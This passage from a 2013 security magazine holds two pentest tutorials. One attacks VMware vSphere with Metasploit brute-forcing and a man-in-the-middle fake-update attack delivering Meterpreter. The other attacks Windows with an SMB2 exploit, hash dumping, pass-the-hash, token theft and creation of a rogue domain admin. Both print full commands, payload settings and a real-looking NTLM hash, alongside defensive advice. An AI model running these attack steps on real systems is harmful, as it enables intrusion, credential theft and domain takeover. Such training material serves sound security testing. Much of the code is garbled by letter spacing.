stolen! This incident alone should
alert us to the need for hardening
our virtual environments.
Common Mistakes When
Deploying Virtualized
Environments
What are some of the most com-
mon mistakes made when de-
ploying VMware vSphere? The
most frequent and critical error
is a lack of network segmenta-
tion to separate the manage-
ment servers from the rest of the
common network. Figure 7 is a
screenshot of a classroom net-
work used to demonstrate the
commonly used methods for de-
ploying a virtual network. Take
note: there is no use of VLANs.
In this environment, a virtual ma-
chine will have access to all of
the other systems on the net-
work. This is not how things
should be done!
Even when we have a seg-
mented management network
with the use of VLANs and
vShield zones, there is still a
common mistake! How is the
vCenter Administrator access-
ing the management network?
Figure 6. Threat Impact on vCenter 5.x
Figure 7. Common vSphere Network
120
TOOLS
TBO 01/2013
This is the common breakdown in the environ-
ment. It has amazed me how many companies ig-
nore common security practices within the virtual
deployment. They harden the network and win-
dows servers but ignore the virtual. How many
companies are logging onto the Hypervisor with
root and a common password known by every
user? WHAT, are you kidding me? Unfortunate-
ly, this is more common than not, even though it
flies in the face of every compliance policy ever
written!
Exploiting the vSphere Environment
The rest of this article will look at how to exploit
the vSphere environment using Metasploit as the
framework. The J uly 2012 Pentest Magazine had
an article titled Working with Exploitation Frame-
works Metasploit in which it was mentioned that
many pentesters do not take full advantage of the
additional functionality of Metasploit. We will be us-
ing auxiliary modules that were created and then
added to the Metasploit framework along with ex-
isting built in modules.
Some of the best modules in the industry used
to directly attack a vSphere environment were cre-
ated by Claudio Criscione and his team! Claudios
research and development has been amazing,
providing us with simple to use exploits that help
us to maximize our exploitation success. One of
the auxiliary modules allows us to download vir-
tual machines directly from an ESX 3.5 host with
no credentials. My personal favorite is the exploit
that allows you to steal the SOAP ID of an exist-
ing vCenter 4.x administrator and then ride the ad-
mins session! No need for anything but access to
vCenter!!
We will be using the auxiliary modules devel-
oped by Claudio and his team called VASTO (Vir-
tualization ASessment TOolkit). You can download
it at http://vasto.nibblesec.org/. Once you have
downloaded the auxiliary modules, you can copy
the vasto folder to the auxiliary directory. Figure 8
shows the path in Backtrack4.
It is time to take a look at using the Metasploit
Framework auxiliary modules to scan and exploit
the vSphere environment.
All of the following demonstrations were provid-
ed by a colleague of mine, Vincent Hautot. Vin-
cent is a highly skilled Pentester and trainer with
Sysdream (http://www.sysdream.com/) of Paris,
France. Sysdream is the go-to organization for
anything security in France! They are the found-
ers of hackerzvoice (http://www.hackerzvoice.net/)
and hackers night (http://www.nuitduhack.com/
en) which is an amazing conference that has con-
tinued to grow each year! Thank you Vincent for
your contribution to the article.
Figure 8. Metasploit Directory
Listing 1. VMware fngerprint scanner
msf auxi l i ar y( esx_f i nger pr i nt ) > i nf o

Name: VMWar e ESX/ ESXi Fi nger pr i nt Scanner
Modul e: auxi l i ar y/ scanner / vmwar e/ esx_f i nger pr i nt
Ver si on: $Revi si on$
Li cense: Met aspl oi t Fr amewor k Li cense ( BSD)
Rank: Nor mal

Pr ovi ded by:
TheLi ght Cosi ne <t hel i ght cosi ne@met aspl oi t . com>

Basi c opt i ons:
Name Cur r ent Set t i ng Requi r ed Descr i pt i on
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Pr oxi es no Use a pr oxy chai n
RHOSTS yes The t ar get addr ess r ange or CI DR i dent i f i er
RPORT 443 yes The t ar get por t
THREADS 1 yes The number of concur r ent t hr eads
URI / sdk no The ur i pat h t o t est agai nst
VHOST no HTTP ser ver vi r t ual host
www.hakin9.org/en 121
The first two demonstrations from Vincent use
modules provided in the Metasploit Framework
4.2. Make sure to update your framework with
svn up in order to verify that you have the correct
modules.
Once Metasploit has all of the auxiliary modules
in place, we can start to make use of them! The
first of our demonstrations makes use of the vm-
ware fingerprint module. Once you have launched
Metasploit in the console interface, run the follow-
ing command:
msf > use auxiliary/scanner/vmware/esx_fngerprint
We can see details about the module in Listing 1.
Description
This module accesses the web API interfaces for
VMware ESX/ESXi servers and attempts to iden-
tify version information for that server.
What is the purpose? This module is designed
to help us find actual hosts on the network and
identify the exact version and build. You can en-
ter a range of IP Addresses or a single address. In
our example, we are looking to fingerprint a spe-
cific host which we have already scanned using
NMAP.
J ust like other modules, we need to set the re-
mote host for the system we are fingerprinting.
When looking at the details above you will see
there are three requirements: RHOSTS, RPORT
and THREADS. Two of the three are already set
with standard settings that will work in our environ-
ment. Now, we simply set the RHOSTS and run
the module:
msf auxiliary(esx_fngerprint) >
set RHOSTS 192. 168. 3. 212
RHOSTS => 192. 168. 3. 212
msf auxi l i ar y( esx_f i nger pr i nt ) > expl oi t
Listing 2. Metasploit bruteforce attackt
msf auxi l i ar y( esx_f i nger pr i nt ) > use auxi l i ar y/ scanner / vmwar e/ vmaut hd_l ogi n
msf auxi l i ar y( vmaut hd_l ogi n) > i nf o

Name: VMWar e Aut hent i cat i on Daemon Logi n Scanner
Modul e: auxi l i ar y/ scanner / vmwar e/ vmaut hd_l ogi n
Ver si on: $Revi si on$
Li cense: Met aspl oi t Fr amewor k Li cense ( BSD)
Rank: Nor mal

Pr ovi ded by:
TheLi ght Cosi ne <t hel i ght cosi ne@met aspl oi t . com>

Basi c opt i ons:
Name Cur r ent Set t i ng Requi r ed Descr i pt i on
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
BLANK_PASSWORDS t r ue no Tr y bl ank passwor ds for al l user s
BRUTEFORCE_SPEED 5 yes How f ast t o br ut ef or ce, from 0 t o 5
PASSWORD no A speci f i c passwor d t o aut hent i cat e with
PASS_FI LE no Fi l e cont ai ni ng passwor ds, one per l i ne
RHOSTS yes The t ar get addr ess r ange or CI DR i dent i f i er
RPORT 902 yes The t ar get por t
STOP_ON_SUCCESS f al se yes St op guessi ng when a cr edent i al wor ks for a host
THREADS 1 yes The number of concur r ent t hr eads
USERNAME no A speci f i c user name t o aut hent i cat e as
USERPASS_FI LE no Fi l e cont ai ni ng user s and passwor ds separ at ed by
space, one pai r per l i ne
USER_AS_PASS t r ue no Tr y t he user name as t he passwor d for al l user s
USER_FI LE no Fi l e cont ai ni ng user names, one per l i ne
VERBOSE t r ue yes Whet her t o print out put for al l at t empt s
122
TOOLS
TBO 01/2013
The results below have identifed the host correct-
ly and now we know exactly what we are attacking!
[+] [2012.08.14-10:16:47] Identifed VMware ESXi
5. 0. 0 bui l d- 623860
[ *] [ 2012. 08. 14- 10: 16: 47] Scanned 1 of 1 host s
( 100%compl et e)
[ *] Auxi l i ar y modul e execut i on compl et ed
msf auxi l i ar y( esx_f i nger pr i nt ) >
This module utilizes TCP port 443 and if you
read the source of this module located at:
$METASPLOI T _ HOME/ modul es/ auxi l i ar y/ scanner
/vmware/esx _ fngerprint.rb you can fnd the as-
sociation of the sdk path to the https connection.
The public method is available with the wsdl fle
which is shown in Figure 9.
Now that we have identified the host and ver-
sion, we can look at possible means of exploita-
Listing 3. Bruteforce results
msf auxi l i ar y( vmaut hd_l ogi n) > expl oi t

[ *] [ 2012. 08. 14- 10: 31: 39] 192. 168. 3. 212: 902 Banner : 220 VMwar e Aut hent i cat i on Daemon Ver si on
1. 10: SSL Requi r ed, Ser ver DaemonPr ot ocol : SOAP, MKSDi spl ayPr ot ocol : VNC , VMXARGS
suppor t ed
[ *] [ 2012. 08. 14- 10: 31: 39] 192. 168. 3. 212: 902 Swi t chi ng t o SSL connect i on. . .
[ - ] [ 2012. 08. 14- 10: 31: 42] 192. 168. 3. 212: 902 vmaut hd l ogi n FAI LED - r oot : r oot
[ - ] [ 2012. 08. 14- 10: 31: 43] 192. 168. 3. 212: 902 vmaut hd l ogi n FAI LED - r oot : 123456
[ - ] [ 2012. 08. 14- 10: 31: 45] 192. 168. 3. 212: 902 vmaut hd l ogi n FAI LED - r oot : 12345
[ - ] [ 2012. 08. 14- 10: 31: 48] 192. 168. 3. 212: 902 vmaut hd l ogi n FAI LED - r oot : 123456789
[ +] [ 2012. 08. 14- 10: 31: 48] 192. 168. 3. 212: 902 vmaut hd l ogi n SUCCESS r oot : passwor d
Listing 4: Metasploit VILurker attack
msf auxi l i ar y( vmwar e_vi l ur ker ) > i nf o

Name: vast o: VI l ur ker VI cl i ent at t ack
Modul e: auxi l i ar y/ vi r t / vmwar e_vi l ur ker
Ver si on: 0. 9
Li cense: GNU Publ i c Li cense v2. 0
Rank: Nor mal

Pr ovi ded by:
Cl audi o Cr i sci one

Basi c opt i ons:
Name Cur r ent Set t i ng Requi r ed Descr i pt i on
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
LHOST no The l ocal I P addr ess t o l i st en t o.
LPORT no The l ocal por t .
PAYLOAD wi ndows/ met er pr et er / bi nd_t cp yes The payl oad t o r un agai nst t he cl i ent .
RHOST 192. 168. 130. 95 no The r emot e host .
RPORT no The r emot e por t .
SRVHOST 0. 0. 0. 0 yes The l ocal host t o l i st en on. Thi s must be an
addr ess on t he l ocal machi ne or 0. 0. 0. 0
SRVPORT 443 yes The l ocal por t t o l i st en on.
SSL t r ue yes Use SSL
SSLCer t no Pat h t o a cust omSSL cer t i f i cat e ( def aul t i s
r andoml y gener at ed)
SSLVer si on SSL3 no Speci f y t he ver si on of SSL t hat shoul d be
used ( accept ed: SSL2, SSL3, TLS1)
www.hakin9.org/en 123
tion. There are many options; however we are go-
ing to stick with the tried and true method of using
Metasploit to Bruteforce the ESXi login!
Metasploit has provided a module to bruteforce
the local account. This module will use a diction-
ary attack and you will need a dictionary file. The
file can be your own or you can use the built-in
file from Metasploit found at $METASPLOI T_HOME/
dat a/ wor dl i st / . Lets get this show on the road:
Listing 2.
Description
This module will test vmauthd logins on a range of
machines and report successful logins.
References
http://cve.mitre.org/cgi-bin/cvename.cgi?name
=1999-0502.
There are six settings required to setup the brute-
force attack, and a few others that we may need
to change. Vincent has started at the top and ver-
ifed all of the settings. The frst change needed is
the use of blank passwords:
msf auxi l i ar y( vmaut hd_l ogi n) >
set BLANK_PASSWORDS f al se
BLANK_PASSWORDS => f al se
So why not check for blank passwords? Look-
ing at the version from the fngerprint module, we
see this is version 5 of ESXi. In version 5, you
Listing 5. VILurker settings
msf auxi l i ar y( vmwar e_vi l ur ker ) > set LHOST
192. 168. 130. 151
LHOST => 192. 168. 130. 151
msf auxi l i ar y( vmwar e_vi l ur ker ) > set LPORT
4444
msf auxi l i ar y( vmwar e_vi l ur ker ) > set LPORT
6567
LPORT => 6567
msf auxi l i ar y( vmwar e_vi l ur ker ) > set PAYLOAD
wi ndows/ met er pr et er / r ever se_
t cp
PAYLOAD => wi ndows/ met er pr et er / r ever se_t cp
Listing 6. VILurker is now waiting
msf auxi l i ar y( vmwar e_vi l ur ker ) > set RPORT
6565
RPORT => 6565
msf auxi l i ar y( vmwar e_vi l ur ker ) > expl oi t
[ *] Auxi l i ar y modul e execut i on compl et ed

[ *] [ 2012. 08. 14- 15: 49: 58] Ser ver st ar t ed.
msf auxi l i ar y( vmwar e_vi l ur ker ) >
Listing 7. VILurker introduces compromised update
[ *] [ 2012. 08. 14- 15: 50: 09] VI l ur ker -
192. 168. 130. 95 i s aski ng
for cl i ent s. xml . Tr i gger i ng
VI l ur ker
[ *] [ 2012. 08. 14- 15: 50: 09] answer i ng HTTP/ 1. 1
200 Ok
Host : 192. 168. 130. 151
Cont ent - Type: t ext / xml
Cont ent - Lengt h: 266
Connect i on: Cl ose

<Conf i gRoot >
<cl i ent Connect i on i d=0000>
<aut hdPor t >902</ aut hdPor t >
<ver si on>10</ ver si on>
<pat chVer si on>10. 0. 0</ pat chVer si on>
<api Ver si on>10. 0. 0</ api Ver si on>
<downl oadUr l >ht t ps: / / */ cl i ent / VMwar e- vi cl i ent .
exe</ downl oadUr l >
</ cl i ent Connect i on>
</ Conf i gRoot >
Figure 11. DCUI Lockdown Mode
Figure 10. Lockdown Mode
124
TOOLS
TBO 01/2013
are required to enter a password during the in-
stall process so the chance that you will run in-
to a blank password is very low. If this had been
ESXi 4.1 where no password is required during
the install process, we would need to check for
blank passwords. The bruteforce speed is the
next required option and the default setting is the
fastest possible at 5. This setting is fne for our
demonstration but it may need to be adjusted in
some environments. As expected, we need to
set the RHOSTS:
msf auxi l i ar y( vmaut hd_l ogi n) >
set RHOSTS 192. 168. 2. 212
RHOSTS => 192. 168. 2. 212
All that is left for us is to identify the username
that we will be attacking. We will let Metasploit
use its own password list:
msf auxi l i ar y( vmaut hd_l ogi n) > set USERNAME r oot
USERNAME => r oot
Listing 8. vSphere Client Update being sent
[ *] [ 2012. 08. 14- 15: 50: 11] VI l ur ker - Bi ngo 192. 168. 130. 95 i s aski ng for t he updat e. Cr eat i ng t he
expl oi t
[ *] [ 2012. 08. 14- 15: 50: 11] VI l ur ker - Cr eat i ng payl oad. . .
[ *] [ 2012. 08. 14- 15: 50: 11] Execut i ng / opt / met aspl oi t / msf payl oad wi ndows/ met er pr et er / r ever se_t cp
LHOST=192. 168. 130. 151 LPORT=6567 X > / r oot / . msf 4/ modul es/ auxi l i ar y/ vast o/ dat a/
l ur ker . exe
Cr eat ed by msf payl oad ( ht t p: / / www. met aspl oi t . com) .
Payl oad: wi ndows/ met er pr et er / r ever se_t cp
Lengt h: 290
Opt i ons: {LHOST=>192. 168. 130. 151, LPORT=>6567}
[ *] [ 2012. 08. 14- 15: 50: 19] 192. 168. 130. 95 upl oadi ng expl oi t
[ *] [ 2012. 08. 14- 15: 50: 19] VI l ur ker - Savi ng sessi on i nf or mat i on on t he DB
Listing 9. Meterpreter Handler
msf auxi l i ar y( vmwar e_vi l ur ker ) > use expl oi t / mul t i / handl er
PAYLOAD => wi ndows/ met er pr et er / r ever se_t cp
msf expl oi t ( handl er ) > set LPORT 6567
LPORT => 6567
msf expl oi t ( handl er ) > set LHOST 192. 168. 130. 151
LHOST => 192. 168. 130. 151
msf expl oi t ( handl er ) > expl oi t
Listing 10. Meterpreter running, game over
met er pr et er > i f conf i g

I nt er f ace 65539
============
Name : Car t e AMD PCNET Fami l y Et her net PCI #2 - Miniport dordonnancement de paquets
Har dwar e MAC : 08: 00: 27: 9f : 93: 20
MTU : 1500
I Pv4 Addr ess : 192. 168. 130. 95
I Pv4 Net mask : 255. 255. 255. 0
www.hakin9.org/en 125
Now lets run this baby and see what we can fnd!
(Listing 3).
We have found valid username and password.
We should apply a correct password policy.
J ust as you may expect, Metasploit makes this
too easy for us! This is what it is all about, mak-
ing our job easier. We simply want to test the en-
vironment. Remember, a properly configured sys-
tem would not allow this attack to occur. For one,
it should be segmented although even if Vincent
was part of the management network he would
not be able to perform this attack if the Lockdown
mode was enabled on each host!
You may be asking What about this lockdown
mode? Once your host is joined to vCenter you
can enable lockdown mode which prevents new
login sessions from occurring on the host. Thus,
we could not even attempt this attack because no
new session is allowed. You can enable lockdown
mode on the configuration tab of the host in vCen-
ter. The exact location is Configuration>Security
Profile>Lockdown Mode>Edit.
If you are concerned about having issues due
to vCenter losing connection to the host, there
is no need. You can enable/disable Lockdown
Mode from the DCUI as well as within vCenter
(Figure 11). Cool now we own your box since
lockdown mode is turned off! We will move on
and look at one of the many modules provided to
you in VASTO.
Vincent has chosen to attack the vSphere ad-
ministrator directly by using a MiTM attack that
circumvents the standard communication with the
vSphere Client. In this demonstration we will be
using the VASTO auxiliary module called viluker.
The reason this attack will work is due to the com-
munication process from the vSphere client to the
vCenter or Host. The vSphere Client will ask for
the host or vCenter What is the latest version of
the vSphere Client? If a newer version of the client
software is available, the client will be told where to
download it and can update on the fly.
Here are the IP addresses for the attack demon-
strated below:
At t acker I P: 192. 168. 130. 151
Vi ct i mI P: 192. 168. 130. 95
ESXi I P: 192. 168. 130. 13
Because this is a MiTM attack we must intercept
the traffc between the victim and the ESXi host.
We will use arpspoof:
[ r oot @f edor a met aspl oi t ] # ar pspoof - i p4p1 - t
192. 168. 130. 95 192. 168. 130. 13
We also have to redirect the network connection
to the attacker process with the following iptables
command:
[ r oot @f edor a met aspl oi t ] # i pt abl es - t nat - A
PREROUTI NG - d 192. 168. 130. 13 - p t cp - - dpor t
443 - j DNAT - - t o- dest i nat i on 192. 168. 130. 151: 443
Now that we are intercepting and routing the traf-
fc properly, we can run the vilurker exploit (List-
ing 4).
Description
This module performs the
VIlurker attack against a
Virtual Infrastructure or
VSphere client. The VI
client will be tricked into
downloading a fake update
which will be run under the
users credentials.
Did you notice the pay-
load? Yes, we are uti-
lizing the famous Me-
terpreter to take advan-
tage of the Windows OS.
There are a few settings
we need to establish be-
fore launching the exploit
(Listinfg 5).
We chose to use reverse Figure 12. Victim chooses to install the update
126
TOOLS
TBO 01/2013
TCP rather than the bind method. With the reverse
TCP method, we are telling the victim to connect
to the attacker rather than just leaving a port open
for the attacker to connect to the victim (Listing 6).
Now that all of the settings are established and
we have the exploit running, we sit and wait for the
administrator to connect! That is easy!
Below you will see that a connection has been
established and the vSphere client is asking for the
clients.xml file. The auxiliary module providing this
on our behalf! (Listing 7).
Next, the victim will say yes to updating the
vSphere client and the attacker will see the follow-
ing: Listing 8.
At this time, the attacker will need to configure
the handler to accept the connection from the vic-
tim: Listing 9.
At this point in the exploit, the attacker has suc-
cessfully established a MiTM attack and convinced
the vSphere Administrator that there is an update
for the vSphere Client. After saying yes to an up-
date, the package is sent and now the victim must
choose to install the update. Updates are always
great and needed by all administrators! Figure 12
is what the victim will see at this stage.
The victim will install the update which is actually
the Meterpreter module. Once the update is fin-
ished, the administrator will continue with his work,
connect to the vCenter, and probably not notice
anything out of the ordinary. As the attacker, we
will see the following:
[ *] [ 2012. 08. 14- 15: 51: 59] Sendi ng st age ( 752128
byt es) t o 192. 168. 130. 95
[ *] Met er pr et er sessi on 1 opened ( 192. 168. 130. 151:
6567 - > 192. 168. 130. 95: 2980) at 2012- 08- 14
15: 52: 01 +0200
We can now run any command we like because
we own the box: Listing 10.
This, of course, is just one example out of ma-
ny when testing the security posture of the virtual
environment. When looking at methods to prevent
this type of attack you would normally consider how
administrators connect to the virtual infrastructure,
what path is being used and what other devices
are on the same network. If you cannot provide the
level of segmentation required to secure the inter-
nal network, as administrators you must at least be
mindful of any updates you have applied to vCen-
ter or the host. Any updates from VMware will pro-
vide documentation regarding what is updated and
the vSphere client would be listed. If there has not
been any update to the vSphere client, you should
never receive the upgrade notice.
DUANE ANDERSON
Duane Anderson (danderson@vmtraining.net) is a con-
sultant, trainer and courseware developer for VMTrain-
ing, specializing in cloud and virtualization technolo-
gies.
This article provides just enough information to
get you started. Take the time to look over the oth-
er exploits developed to attack vSphere. If you de-
velop some on your own, please share them with
the rest of the world so we can all create a more
secure future! We have only demonstrated some
of the attacks available when using Metasploit,
however there are many other tools available to
us when working in this environment. NMAP has
a complete set of testing requirements to identi-
fy vCenter or ESXi and ESX. We also make use
of Cain and Abel and many other scanning tools
on the market for verification purposes. One thing
we all need to remember is chained exploits! In to-
days environments, the one and done hacks no
longer work and we need to chain together mul-
tiple hacks to get what we are after. Hacking the
virtual environment is no different.
VMtraining and Sysdream (Duane and Vincent)
would like to thank you for taking the time to learn
a little bit more about security in the virtual envi-
ronment. There is so much more we would like to
share with you, but that would require Vincent and
I to write an entire book. I am not sure either of us
has the time. However you can attend one of our
5 day classes offered at Sysdream or anywhere in
the globe you can find the VMTraining classes. We
look forward to meeting you one day.
Take control
over ERP with
Xpandions complete
suite of products
Save up to 50% in license usage!
Manage all systems from centralized point
Save on valuable resources
Cut GRC expenses by 30-50%!
Proactively prevent fraud
Minimize business risk
Save over 15% on total maintenance fees!
Achieve 360 real-time view of authorizations
Detect sensitive activities and react instantly
Installed externally to SAP and other monitored
systems, ProleTailor Dynamics suite is up and
running within days, delivering immediate results
alongside ongoing monitoring and alerting support.
Based on Xpandions unique behavioral-proling
technology, ProleTailor Dynamics learns
actual system consumption, providing maximum
security and management efciency while
signicantly reducing IT asset management costs.
Request Demo
Rapid implementation process Simple web-based control No SAP expertise needed
SAP is a registered trademark of SAP AG
in Germany and in several other countries.
Control GRC
Enhance SAP security
Optimize SAP licenses
www.xpandion.com
info@xpandion.com
Tel +1-800-707-5144
128
TOOLS
TBO 01/2013
Metasploit How to
Play with Smb and
Authentication
Ok folks, when you are reading this title you are thinking Hey, this
stuff is old crap, its impossible who this attack are yet working in
native windows 2008 R2 Active Directory Domain...
B
ut...You are wrong. This stuff still working in
the state of the art infrastructure. And I want
to show you...
In my experience a lot of infrastructures have two
big problems, they are using local admin credential
with the same password in some or all systems of
the network and maintain some servers (or clients)
unpatched, with these two common mistakes we
can completely Pown the infrastructure.
Two pillars of best practices are just patching and
a different password for local admin for each host
and it is possible to retrieve a lot of best practices
from the Internet and in many books about security
architecture, but a lot of system admin dont use
them, why?
In most case because the system admins are un-
educated in security, or because they are lazy, or
because they are too busy..
Beginning the attack
The first step is to find the vulnerable host, we can
do this in a lot of manners, the ROE in the con-
tract with your customers are the driver, in some
case we can use tools like nessus, if the noise is
acceptable, otherwise the choice of old style hack-
ers is to work with nmap with a very small range
of ports and with a long interval between one port
and another, something like a paranoid scan on
the nmap timing template.
In my test lab I have one host with installed win-
dows 2k8 sp2 unpatched, this host is vulnerable, I
will try to use an attack against the smb2, the ex-
ploit ms090 050, the exploit is stable enough, but
in some cases can crash the target, for this rea-
son be careful in production environments. Before
starting with the attacks we will review the test lab
configurations, we have three windows hosts, two
of them have installed windows server 2k8 R2 and
one is with windows server 2k8 sp2, the two host
2k8R2 are on the 2k8 Active Directory domain, the
domain mode and the forest mode are windows
2k8, the host with windows server 2k8sp2 is a
workgroup server with file sharing enabled, look at
this table:
DC2k8R2 192. 168. 254. 201 Domai n Cont r ol l er and
DNS ser ver
SRV2k8R2 192. 168. 254. 202 Member Ser ver
SRV2k8sp2 192. 168. 254. 204 St and Al one Ser ver
Fi l e Shar i ng
We have also an attacking machine, in my case a
Backtrack 5 R2 x64 with IP 192.168.254.1.
I like the Backtrack machine because is not nec-
essary to install a lot of tools, it has the most popu-
lar and used tools directly on-board.
I start the metasploit framework in my BT5R2
machine, normally I like to work with msfconsole
because this is the most interactive from the envi-
ronment of metasploit framework, but if you prefer
the GUI, is possible to work with Armitage.
Now I configure the first exploit:
www.hakin9.org/en 129
use expl oi t / wi ndows/ smb/ ms09_050_smb2_negot i at e_
f unc_i ndex
and I wi l l set t he payl oad and t he ot her
par amet er s
set PAYLOAD wi ndows/ met er pr et er / r ever se_t cp
set RHOST 192. 168. 254. 204 t he r emot e host t o
at t ack
set LHOST 192. 168. 254. 1 t he host who r ecei ve t he
r ever se shel l
and I run the attack in background with exploit -j
(Figure 1).
The attack sends the exploit packet and I will get
my session, normally I like to work with meterpret-
er, if it is possible (Figure 2).
The exploit worked well (hey dude, dont sleep...
remember, this exploit, in some cases, doesnt
work properly... it is also possible to get blue screen
in target machine; Figure 3).
Now we have the control of the target machine,
but I dont tell you the auxiliary skill necessary in
a real pentest, for example the manner to migrate
from one process to another...
I want to start immediately with the search of
good credentials for switch to another machine, I
will use the script hashdump, this script seek the
syskey in the windows register and after dump the
password hash from the SAM database.
Ok, write run hashdump and wait... (Figure 4).
Look the administrator password:
Admi ni st r at or : 500: aad3b435b51404eeaad3b435b51404ee:
a87f 3a337d73085c45f 9416be5787d86
This is the built in Administrator, the sid is 500
and this is the LM hash:
aad3b435b51404eeaad3b435b51404ee
Do you know this hash? I think yes, this is the
hash for null password, this happens because the
LM hash is disabled.
The second chunk of password is the NTLM
password hash :
a87f 3a337d73085c45f 9416be5787d86
In my lab the password isnt so strong, but in a
real pentest the password can be very hard to
crack, if you use long and complex password,
which no dictionary word, the time necessary to
crack the password is over the time who you have
in a pentest...sorry? What are you saying to me?
Rainbow tables? Mmmmh in my production en-
vironment I use password with 10 or 12 charac-
ters...do you have rainbow for this? I need another
way to Pown other machine without cracking the
passwords.
I will use the metasploit pass-the-hash attack, I
try to use directly the hash no matter if the pass-
word is complex.
The pass-the-hash attack is a very destructive
attack, the big problem is that this is not a vulnera-
Figure 3. It does not always work
Figure 2. Work with Meterpreter
Figure 1. Run the attack
Figure 4. Run hashdump
130
TOOLS
TBO 01/2013
bility, but a feature, in order to patch this vulnerabil-
ity it is necessary to rewrite completely the authen-
tication structures, this feature is the basic feature
which permits to share resource in a workgroup.
The only way to avoid the attack is to not share
the same password for the same user in different
hosts.
In my test lab the SRV2k8sp2 machine is not
member of the domain, but the Administrator pass-
word of this machine is the same of the Domain
Member Server SRV2k8R2.
In metasploit this attack is based on the tool of
Sysinternals Psexec.
Normally, after use of hashdump script I copy
and paste the hash in a text file on my desktop.
After the meterpreter command background I set
up the attack for the second host, I use the exploit/
windows/smb/psexec and the payload windows/
meterpreter/reverse_https; The other options are
(Figure 5):
set RHOST 192. 168. 254. 202
set LHOST 192. 168. 254. 1
set SMBUser Admi ni st r at or
set SMBDomai n sr v2k8r 2
set SMBPass aad3b435b51404eeaad3b435b51404ee: a87f 3
a337d73085c45f 9416be5787d86
Ok, the exploit worked... After few seconds we
have the second session of our attack, with the
meterpreter command sessions i 2 I interact with
this second session (Figure 6).
Now I have Powned a host that is member of
the domain, but my current privilege is local admin,
without domain permissions. I need to escalate
privileges, with a quick look of running program in
my target machine with the command ps I can see
the program with PID 1432, vds.exe, this program
is running with privileges of administrator of the do-
main 2k8, I hope to find the token of this user in
this target machine (Figure 7).
Figure 9. Steal the token
Figure 8. The incognito extension
Figure 7. Target machine
Figure 6. Second session
Figure 5. Other options
Figure 10. There is no account
www.hakin9.org/en 131
To do this I need to load the incognito extension,
this extension is very funny, with incognito it is pos-
sible to steal tokens of users and is also possible to
create a user or to put this user in a global or do-
main local group...Very interesting... (Figure 8).
I can use list_token to see the tokens available
in this machine and after it is possible to use these
founded tokens with impersonate_token com-
mand, alternatively, I can use the command steal_
token (Figure 9).
If I invoke this command with the PID of the pro-
cess I get the token used from the process, in my
case I get the domain admin token.
Now I want to add my own administrator to the
attacked domain, my user will have a very stealthy
name, hacker.
This account doesnt exist in 2k8 domain (Figure
10).
I try to create...I try to use add_user command
from incognito...
add_user Hacker Passw0r d
but nothing happened in the 2k8 domain... This is
because despite that I am a domain admin, I am
not in a domain controller, the newly created us-
er is simply a local user in this target host... For-
tunately the incognito add_user option has a -h
for using this command versus a remote host, in
my case I want to use this command in my target
Domain Controller, because the D.C dont have lo-
cal user this is the same that executing the com-
mand in the domain (Figure 11).
I will try again with this options and specifying the
IP address of a Domain Controller (Figure 12):
add_user Hacker Passw0r d - h 192. 168. 254. 201
The command output is the same as the previous,
I need to see in A.D (Figure 13).
Very good, now the user hacker is on my do-
main.
But this user is only a domain user, with no ad-
ministrative privileges, I try to add some privileg-
es with two commands of incognito (Figure 14 and
Figure 15):
add_l ocal gr oup_user admi ni st r at or s hacker - h
192. 168. 254. 201
add_gr oup_user domai n admi ns hacker - h
192. 168. 254. 201
And now my newly created user has administrator
and domain admin, as you can see, I have used
two different commands, because the domain
admin group is a global group, while administra-
tors group is a domain local group (not really do-
main local, is a built-in local, but for my job, is the
same...)
With this technique I can add (or remove) any
group which I want, I need only to know if the group
is domain local or global. In a real pentest we need
to understand the naming convention in use and
after we can create a very stealthy account.
Figure 15. Adding privileges Figure 14. Hacker User
Figure 13. Similar command output
Figure 12. Specify the IP of a Domain Controller
Figure 11. Executing the command
132
TOOLS
TBO 01/2013
Real life
Its not so strange that some meterpreter com-
mands or loading extensions doesnt working
properly.
What happen in this case?
Normally nothing, all, or most command have a
workaround to get the same result, below some
examples:
The meterpreter command shell is not work-
ing? No problem, we can use the generic meter-
preter command for the command execution:
execut e f cmd. exe c H - i
and now you have your shell...
The incognito extension is a shortcut, if it dont
work, you can use some shell commands:
To create a user:
net user hacker 2 Passw0r d / add / domai n
To nest the new user:
net l ocal gr oup admi ni st r at or s hacker 2 / add / domai n
net gr oup domai n admi ns hacker 2 / add / domai n
At this point you are the king of the domain and
you can do everything you want.
In my lab I try the simplest way, now I can log-
on to my attacked Domain Controller with terminal
server connection, now I am a regular user.... (Fig-
ure 16)
In my test lab, I can use rdesktop for connect to
the Domain Controller, because, like a lot of real
servers windows server 2k8, the configuration of
remote desktop connections is without NLA (Net-
work Level Authentication; Figure 17).
Otherwise we must install and use other tools (or
you can use one windows attacking machine)
Defense and logging
The first step to do is a procedure to quickly patch
all the systems fast, but in real world this is not so
simple, for a lot of reasons.
In yours infrastructures, you might have a legacy
application which is vital for your business? Or an
equally important legacy hardware? With this con-
Figure 16. Log-on to Domain Controller
Figure 19. Traces 2
Figure 18. Leaving traces 1
Figure 17. Use rdesktop for the connection
www.hakin9.org/en
sideration it is simple to understand why, in many
situations, is possible to find unpatched systems in
very important environments and, I believe that it
always pays to look for this type of vulnerability at
the beginning of a pentest.
For the second type of attack used in my demo,
the only solution is to find a manner for managing
the password for local admin for every host, which
manner? I dont know, there are many possible so-
lution and you need to look which one is the better
for your infrastructure.
Another important notice is that ALL activities
that we have accomplished have left a trace in
the event log: event id 4625 e 4776 for smb/smb2
attack, with the IP address of the attacking ma-
chine, the creation of user and the group nesting
performed with incognito can creates the event id
4728, 4720, 4722, 4738, 4724 and 4732. In this
regard a very interesting reading is in the website
ultimatewindowssecutity.com (Figure 18 and Fig-
ure 19).
The use of IDP/IPS can detect and stop some
metasploit attacks, in the same manner we need
to remember that it is true that meterpreter work in
memory, and for this reason it is stealth, but other-
wise, when something is uploaded to disk, many
antivirus can detect the attack. For example, every
time that you try to get persistence, you put some-
thing on the target disk.
For trapping the creation of users, or the nesting
in privileged groups you can use some scripts, or
software for monitoring appropriate event Id or you
can use various users provisioning tools that can
trap every unexpected modification.
GUGLIELMO SCAIOLA
Guglielmo Scaiola works as I.T. Pro
since 1987, Hes a free lance consul-
tant, pentester and trainer, works
especially in banking environ-
ment. Over the years Guglielmo has
achieved several certifcations, in-
cluding: MCT, MCSA, MCSE, Security +, Lead Auditor ISO
27001, ITIL, eCPPT, CEI, CHFI, CEH and ECSA.
In 2011 he was awarded the Ec-Council Instructor Cir-
cle of Excellence.
